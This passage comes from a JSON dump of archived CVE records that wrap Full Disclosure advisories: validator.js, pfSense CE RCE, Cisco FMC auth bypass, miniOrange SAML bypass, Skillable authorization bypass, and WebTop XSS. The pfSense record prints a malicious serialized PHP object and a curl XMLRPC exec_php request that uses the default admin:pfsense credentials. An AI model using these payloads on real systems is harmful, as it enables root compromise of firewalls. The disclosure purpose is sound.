by implementing a surgical fix\nthat correctly identifies and counts valid Unicode pairs and variation\nselectors, ensuring the reported length matches the actual data footprint\nmore accurately.\n\nTimeline\n========\n- 2025-10-18: Vulnerability reported to maintainers by Karol Wr\u00f3tniak.\n- 2025-11-27: CVE-2025-12758 published.\n- 2025-11-09: Fixed version 13.15.22 released.\n\nReferences\n==========\n[1] https://www.thedroidsonroids.com/blog/when-zero-width-isnt-zero\n[2] https://nvd.nist.gov/vuln/detail/CVE-2025-12758\n[3] https://github.com/validatorjs/validator.js/releases/tag/13.15.22\n\n-- \n*Karol Wr\u00f3tniak *\nSenior Android Developer\n\n*/*\n[image: Logo]\n\nwww.droidsonroids.com \u003chttps://www.thedroidsonroids.com/\u003e\nWroc\u0142aw, ul. Sikorskiego 26, 53-659 Poland\n\n[image: Clutch Profile] \u003chttps://clutch.co/profile/droids-roids\u003e [image:\nDribbble Profile] \u003chttps://dribbble.com/DroidsOnRoids\u003e [image: Behance\nProfile] \u003chttps://www.behance.net/droidsonroids\u003e [image: Instagram Profile]\n\u003chttps://www.instagram.com/droidsonroidsmobile/\u003e [image: Github Profile]\n\u003chttps://github.com/DroidsOnRoids\u003e [image: X Profile]\n\u003chttps://twitter.com/droidsonroids\u003e [image: Facebook Profile]\n\u003chttps://www.facebook.com/droidsonroids\u003e [image: Linkedin Profile]\n\u003chttps://pl.linkedin.com/company/droids-on-roids?trk=public_profile_topcard-current-company\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-792",
              "description": "CWE-792",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:07:08Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/27"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/27"
        },
        {
          "url": "https://clutch.co/profile/droids-roids"
        },
        {
          "url": "https://dribbble.com/DroidsOnRoids"
        },
        {
          "url": "https://github.com/DroidsOnRoids"
        },
        {
          "url": "https://github.com/validatorjs/validator.js/releases/tag/13.15.22"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12758"
        },
        {
          "url": "https://pl.linkedin.com/company/droids-on-roids?trk=public_profile_topcard-current-company"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://twitter.com/droidsonroids"
        },
        {
          "url": "https://www.behance.net/droidsonroids"
        },
        {
          "url": "https://www.facebook.com/droidsonroids"
        },
        {
          "url": "https://www.instagram.com/droidsonroidsmobile/"
        },
        {
          "url": "https://www.thedroidsonroids.com/"
        },
        {
          "url": "https://www.thedroidsonroids.com/blog/when-zero-width-isnt-zero"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/27"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CVE-2025-12758: Unicode Variation Selectors Bypass in \u0027validator\u0027 library (isLength)",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2025-12758",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0230",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/27",
            "automated": true,
            "contentSha256": "3f811160419685e23714b714c4bc76a905be3ad2cebf526de9f1b9e8a9f41764",
            "evidenceScore": 11,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/27",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-28T18:24:40Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0230"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:43Z",
    "dateUpdated": "2026-09-09T10:07:08Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0230"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CVE-2025-69690 \u0026 CVE-2025-69691",
          "vendor": "Cve",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "privexploits via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory: Authenticated Remote Code Execution in pfSense CECVEs: CVE-2025-69690, CVE-2025-69691\nResearcher: Nelson Adhepeau (privexploits () protonmail com)\nDate: February 2026\n\n\n== RESPONSIBLE DISCLOSURE NOTICE ==\n\nThis advisory is published in accordance with responsible disclosure practices.\u00a0\n\nThe vendor was notified on December 2, 2025, acknowledged the reports, and indicated no patches would be issued. \nPublication follows standard 90-day disclosure guidelines.\n\n-------------------------------------------------------------\n\n== OVERVIEW ==\n\nTwo independent authenticated Remote Code Execution\nvulnerabilities were discovered in Netgate pfSense Community\nEdition. Both were reproduced on clean installations. Vendor\nwas contacted and acknowledged the reports but classified both\nas expected behavior for authenticated administrators.\n\n-------------------------------------------------------------\n\n== CVE-2025-69690 ==\nAuthenticated RCE via Unsafe Deserialization (pfSense CE 2.7.2)\n\nCVSS v3.1: 8.8 (High)\nVector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H\nCWE-502: Deserialization of Untrusted Data\nCWE-915: Improperly Controlled Dynamic Code Evaluation\n\n-- Description --\n\nThe pfSense configuration restore mechanism invokes\nunserialize() on user-controlled data without class\nwhitelisting, input validation, or sandboxing.\n\nA crafted backup file containing a malicious serialized PHP\nobject can inject arbitrary commands via the\npost_reboot_commands property, executed through mwexec()\nwith full root privileges.\n\n-- Affected Component --\n\nbackup/restore mechanism, config.php,\npfsense_module_installer class, unserialize() handling\n\n-- Attack Vector --\n\n1. Attacker authenticates as administrator\n2. Uploads malicious configuration backup file\n3. Triggers restore operation\n4. pfSense unserializes attacker-controlled data\n5. Commands execute as root via mwexec()\n\n-- PoC Payload --\n\nO:23:\"pfsense_module_installer\":1:{\n\u00a0 s:17:\"*post_reboot_commands\";\n\u00a0 a:1:{i:0;s:40:\"/usr/local/bin/php -r \u0027system(\\\"id\\\");\u0027\";}}\n\n-- Impact --\n\n- Arbitrary command execution as root\n- Persistent compromise\n- Complete firewall takeover\n- Credential and configuration exfiltration\n\n-- Vendor Response --\n\nNetgate acknowledged the report. Classified as\n\"authenticated administrative abuse\". No patch issued.\nVendor does not assign CVEs directly.\n\n-------------------------------------------------------------\n\n== CVE-2025-69691 ==\nAuthenticated RCE via XMLRPC exec_php (pfSense CE 2.8.0)\n\nCVSS v3.1: 9.9 (Critical)\nVector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\nCWE-284: Improper Access Control\nCWE-915: Improperly Controlled Dynamic Code Evaluation\n\n-- Description --\n\npfSense CE 2.8.0 exposes an XMLRPC API method\npfsense.exec_php that executes arbitrary PHP code as root\nwithout validation, sandboxing, or restrictions.\n\nThe endpoint is enabled by default, accessible over HTTPS\nvia Basic Authentication, and executes supplied code\nimmediately with full system privileges. Default credentials\n(admin:pfsense) are widely deployed, significantly lowering\nthe exploitation barrier.\n\n-- Affected Component --\n\nxmlrpc.php, pfsense.exec_php method, XMLRPC API handler,\nBasicAuth authentication layer\n\n-- Attack Vector --\n\ncurl -k -u admin:pfsense \\\n\u00a0 -d \u0027\u003cmethodCall\u003e\n\u00a0 \u00a0 \u003cmethodName\u003epfsense.exec_php\u003c/methodName\u003e\n\u00a0 \u00a0 \u003cparams\u003e\u003cparam\u003e\u003cvalue\u003e\u003cstring\u003e\n\u00a0 \u00a0 \u00a0 system(\"id\");\n\u00a0 \u00a0 \u003c/string\u003e\u003c/value\u003e\u003c/param\u003e\u003c/params\u003e\n\u00a0 \u003c/methodCall\u003e\u0027 \\\n\u00a0 https://\u003ctarget\u003e/xmlrpc.php\n\n-- Impact --\n\n- Full remote root compromise\n- Arbitrary file read/write\n- Backdoor deployment\n- Firewall rule manipulation\n- Extraction of secrets and configurations\n\n-- Vendor Response --\n\nNetgate acknowledged the report. Classified as expected\nbehavior for authenticated users. No patch in pfSense CE\n2.8.0. Still exploitable as of latest version at time\nof disclosure.\n\n-------------------------------------------------------------\n\n== TIMELINE ==\n\n- November 2025: Vulnerabilities discovered\n- December 2, 2025: Initial report sent to Netgate\n- Netgate acknowledged, no patch planned\n- January 28, 2026: CVEs assigned by MITRE\n- February 2026: Public disclosure\n\n-------------------------------------------------------------\n\n== REFERENCES ==\n\nCVE-2025-69690:\nhttps://cve.org/CVERecord?id=CVE-2025-69690\n\nCVE-2025-69691:\nhttps://cve.org/CVERecord?id=CVE-2025-69691\n\nResearcher:\nhttps://github.com/privlabs\nhttps://linkedin.com/in/nelson-adhepeau\n\n-------------------------------------------------------------\nNelson Adhepeau\nIndependent Security Researcherprivexploits () protonmail com\n\n\nEnvoy\u00e9 avec un e-mail s\u00e9curis\u00e9 Proton Mail._______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-284",
              "description": "CWE-284",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-502",
              "description": "CWE-502",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-915",
              "description": "CWE-915",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:47Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/16"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/16"
        },
        {
          "url": "https://cve.org/CVERecord?id=CVE-2025-69690"
        },
        {
          "url": "https://cve.org/CVERecord?id=CVE-2025-69691"
        },
        {
          "url": "https://github.com/privlabs"
        },
        {
          "url": "https://linkedin.com/in/nelson-adhepeau"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/16"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[Full Disclosure] CVE-2025-69690 \u0026 CVE-2025-69691 \u2014 Authenticated RCE in Netgate pfSense CE 2.7.2 and 2.8.0",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2025-69690",
              "type": "related"
            },
            {
              "destId": "CVE-2025-69691",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0187",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/16",
            "automated": true,
            "contentSha256": "a3a7e23d245c41605776753f9e09c79964dff2ba5b758a5485a90b64609442fd",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/16",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-16T14:09:25Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0187"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-09T10:11:47Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0187"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CVE-2026-20079 - Cisco",
          "vendor": "Cve",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Banks Tools"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CVE-2026-20079 - Cisco Secure Firewall Management Center Authentication\nBypass to Root RCE\n\nProduct:\nCisco Secure Firewall Management Center\n\nTested version:\n10.0.1-1\n\nCVE:\nCVE-2026-20079\n\nPoC author:\nArian Eidizadeh (CyberAuth)\n\nPublic PoC:\nhttps://github.com/CyberAuth/CVE-2026-20079\n\nTechnical write-up:\nhttps://banks.tools/writeups/cve-2026-20079-cisco-secure-fmc\n\nThe publicly documented authentication-bypass-to-root-RCE chain was\nindependently reproduced against Cisco Secure FMC 10.0.1-1 with confirmed\nuid=0(root) execution.\n\nThe published Python implementation provides separate fingerprint,\nauthentication-bypass check, bounded root-proof, exploit, verification, and\ncleanup functionality.\n\nThis work does not claim discovery of CVE-2026-20079 or independent\ndiscovery of the original exploit chain. The contribution is the\nindependent reproduction and public PoC implementation.\n\nReferences:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2\nhttps://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079\nhttps://github.com/CyberAuth/CVE-2026-20079\nhttps://banks.tools/writeups/cve-2026-20079-cisco-secure-fmc\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:09:31Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/80"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/80"
        },
        {
          "url": "https://banks.tools/writeups/cve-2026-20079-cisco-secure-fmc"
        },
        {
          "url": "https://github.com/CyberAuth/CVE-2026-20079"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/80"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CVE-2026-20079 - Cisco Secure Firewall Management Center Authentication Bypass to Root RCE",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0105",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/80",
            "automated": true,
            "contentSha256": "f1c16fd7453f7a8545272853cf3a9362e688760671daf88c47751d45bcef0303",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/80",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-20T18:53:01Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-09T10:09:31Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0105"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CVE-2026-15013 \u2013 miniOrange",
          "vendor": "Cve",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "\u00d6ner Efe G\u00fcng\u00f6r"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hello Full Disclosure,\n\nI\u0027d like to share an independent lab Proof-of-Concept for CVE-2026-15013.\n\n### CVE-2026-15013 \u2013 miniOrange SAML SSO \u003c= 5.4.3 Unauthenticated\nAuthentication Bypass\n\nSAML Signature Algorithm Confusion vulnerability. An unauthenticated\nattacker can forge a valid SAMLResponse by forcing HMAC-SHA1 verification\nagainst the IdP\u0027s public key, allowing full account takeover (including\nadministrators).\n\nRoot cause: Mo_SAML_Utilities::mo_saml_cast_key() trusts the\nattacker-controlled SignatureMethod algorithm.\n\nPoC (full chain to admin + optional webshell/reverse shell) + Docker lab:\nhttps://github.com/zer0dayf/CVE-2026-15013\n\nPatched in 5.4.4+\nOriginal finder: lhking (Wordfence)\nCVE record: https://www.cve.org/CVERecord?id=CVE-2026-15013\n\nThis repository is for educational and authorized testing purposes only.\n\nRegards,\nzer0dayf\nhttps://github.com/zer0dayf\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:07:06Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/33"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/33"
        },
        {
          "url": "https://github.com/zer0dayf"
        },
        {
          "url": "https://github.com/zer0dayf/CVE-2026-15013"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15013"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/33"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CVE-2026-15013 \u2013 miniOrange SAML SSO \u003c= 5.4.3 Unauthenticated Authentication Bypass (PoC)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0158",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/33",
            "automated": true,
            "contentSha256": "6ff39ec1707c5181458197e8887c3a4ddbfd8da27ae0cbce9c91010e2169abf7",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/33",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-29T12:00:54Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-09T10:07:06Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0158"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CVE-2026-56877 - Skillable",
          "vendor": "Cve",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Greg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Skillable\u0027s SCORM lab launch endpoint validates a launch token but\nenforces per-user allocation limits using a browser-supplied userId\nthat is not bound to the validated token. An authenticated learner\ncan modify this identifier to bypass configured limits, launch\nconcurrent lab instances, and consume another learner\u0027s allocation.\nSkillable states that no fix is planned for the legacy SCORM launch\npath. CVE-2026-56877 was assigned by MITRE.\n\n\n1. Advisory information\n-----------------------\nTitle: CVE-2026-56877 - Skillable SCORM userId authorisation\nbypass\nAdvisory: https://github.com/GregDurys/security-advisories/tree/main/skillable\nCVE: CVE-2026-56877 (assigned; record publication pending)\nClass: CWE-639 (Authorization Bypass Through User-Controlled Key)\nCVSS: 6.5 (Medium) - AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\nDate: 2026-07-12\nAuthor: Greg Durys \u003chttps://payloadforge.io\u003e\n\n\n2. Affected software\n--------------------\nVendor: Skillable (formerly Learn on Demand Systems)\nService: Hosted SCORM lab provisioning (cloud service, no\non-premises deployment)\nEndpoint: scorm.skillable.com/scorm/launch\nTested: 2026-04-28 to 2026-05-03 (production endpoint, via the\nRed Team Ops course on the Zero Point Security platform)\nFix: None. The vendor states that no server-side identity\nvalidation will be added to the SCORM launch path.\nRemediation is migration to an API or LTI 1.3 launch\nintegration.\n\n\n3. Testing scope\n----------------\nAll validation was performed within a normal student workflow on\nthe Red Team Ops course. The bypass and the cross-user denial of\nservice were confirmed against the production endpoint. The\ncertification exam endpoint was not tested; Skillable subsequently\nconfirmed to an affected customer that the same weakness could\naffect exam allocations and could return details associated with\nanother learner\u0027s session.\n\n\n4. Summary\n----------\nThe SCORM launch request is assembled and initiated client-side.\nLoading a lab unit builds a launch URL and requests it from\nscorm.skillable.com with a SCORM token and userId as query\nparameters. Skillable validates the token sufficiently to authorise\nthe launch, then evaluates the per-user launch limit against the\nsupplied userId. The token is server-validated, while the userId is\nclient-controlled,\nand no binding between the two is enforced.\n\nThe userId accepts arbitrary strings with no format validation.\nValues with a non-hexadecimal character in an otherwise\nexpected-length identifier, and entirely fabricated structures, were\nboth accepted and provisioned lab instances. The same SCORM token\nlaunches labs under different userId values, demonstrating that the token does not bind the launch to the\nsupplied userId. The token remained unchanged\nacross the tested launches, indicating that it did not provide a\nuser-specific binding to the supplied userId.\n\n(a) Rate-limit bypass. Launching with a modified userId bypassed the\nper-user limit and provisioned a fresh LabInstanceId. Two\nconcurrent instances under different userId values were confirmed.\n\n(b) Cross-user denial of service. A consenting colleague\u0027s userId\nwas obtained through an authenticated learner enumeration vector\non the LMS. A lab launched under that userId consumed the\ncolleague\u0027s allocation. The colleague then attempted to launch\nthe same lab and was locked out, while other labs launched\nnormally.\n\n(c) Cost. Each instance provisions cloud VMs (typically a domain\ncontroller plus one to three machines, active 30 to 60 minutes)\nat the course provider\u0027s expense. An authenticated learner\nenumeration vector on the LMS would scale any of the above\nacross the enumerable enrolled population.\n\n\n5. Remediation\n--------------\nBind the launch to a server-validated learner identity, for example\nthrough a user-scoped signed token or server-to-server integration.\nDo not enforce per-user limits using an unverified browser-supplied\nuserId. Skillable states that it will not add this binding to the\nlegacy SCORM path and recommends migration to its API or LTI 1.3\nintegration.\n\n\n6. Disclosure timeline\n----------------------\n2026-04-28 Per-user rate-limit error observed; userId modification\nreturned a new LabInstanceId\n2026-04-29 Concurrent lab instances confirmed against a single\naccount\n2026-05-03 Cross-user denial of service confirmed with a consenting\nfellow student\n2026-05-08 Findings documented; Skillable support ticket #4043837\nraised; disclosure channel provided\n2026-05-11 Report submitted to Disclosures () skillable com (encrypted\narchive)\n2026-05-13 Skillable acknowledged receipt (Nat Shere, Manager,\nProduct Security)\n2026-05-19 CVE request submitted to MITRE (Skillable is not a CNA)\n2026-05-27 Status request to Skillable; no response\n2026-06-08 Second follow-up, restating the 60-day disclosure window\n(closing 2026-07-12)\n2026-06-10 Skillable responded that the issue is \"an inherent flaw\nin the SCORM technology\" and requested no disclosure\nwithout written permission\n2026-06-10 Pushback sent; open-ended embargo declined; 2026-07-12\ndate held\n2026-06-23 MITRE assigned CVE-2026-56877; coordinated disclosure\nremained under embargo until 2026-07-12\n2026-06-26 Skillable sent at least one affected customer an\nadvisory (\"SCORM-based lab launches and recommended\nmigration\"; no CVE, no CVSS), stating no server-side\nfix and recommending migration\n2026-06-26 Coordination update sent to Skillable\n2026-07-12 Advisory published\n\n\n7. Current status\n-----------------\nVendor fix: The vendor states that no fix is planned for\nthe SCORM launch path\nVendor remediation: Migration to an API or LTI 1.3 launch\nintegration\nCustomer communication: Sent to at least one affected customer on\n2026-06-26 (private notification, no CVE,\nno CVSS)\nCVE: CVE-2026-56877, assigned by the MITRE CNA of\nLast Resort\n\n\n8. References\n-------------\n- https://github.com/GregDurys/security-advisories/tree/main/skillable\n- https://www.cve.org/CVERecord?id=CVE-2026-56877\n- https://cwe.mitre.org/data/definitions/639.html\n- https://payloadforge.io/beyond-crto-skillable\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "CWE-639",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:10:05Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/20"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/20"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/639.html"
        },
        {
          "url": "https://github.com/GregDurys/security-advisories/tree/main/skillable"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://payloadforge.io"
        },
        {
          "url": "https://payloadforge.io/beyond-crto-skillable"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56877"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/20"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CVE-2026-56877 - Skillable SCORM userId authorisation bypass",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0097",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/20",
            "automated": true,
            "contentSha256": "585ca0c01365cf23961b9778b1126c606d723ea93385ebcf493a309fcfb6de37",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/20",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-12T10:19:54Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-09T10:10:05Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0097"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CVE-2026-78331 / CVE-2026-78332",
          "vendor": "Cve",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Intilangelo, Andrea"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Two stored XSS vulnerabilities have been disclosed in the NethServer WebTop module, affecting versions 1.5.6 and \nearlier.\nCVE-2026-78331 (CVSS 4.0: 8.7) affects the calendar component, while CVE-2026-78332 (CVSS 4.0: 8.2) affects the \ncontacts component.\n\nBoth vulnerabilities allow malicious content to be stored and JavaScript code to be executed when the affected calendar \nevent or contact is viewed by another user.\n\nAffected versions:\nWebTop \u003c= 1.5.6\n\nFixed version:\nWebTop 1.5.7\n\nCredits:\nVulnerability discovered by Andrea Intilangelo\n\nReferences:\n\nhttps://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-nethserver\nhttps://github.com/NethServer/ns8-webtop/security/advisories/GHSA-cqcv-5f3w-wpmr\nhttps://github.com/NethServer/ns8-webtop/security/advisories/GHSA-7vf9-f3rc-vg3x\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:36Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/79"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/79"
        },
        {
          "url": "https://github.com/NethServer/ns8-webtop/security/advisories/GHSA-7vf9-f3rc-vg3x"
        },
        {
          "url": "https://github.com/NethServer/ns8-webtop/security/advisories/GHSA-cqcv-5f3w-wpmr"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
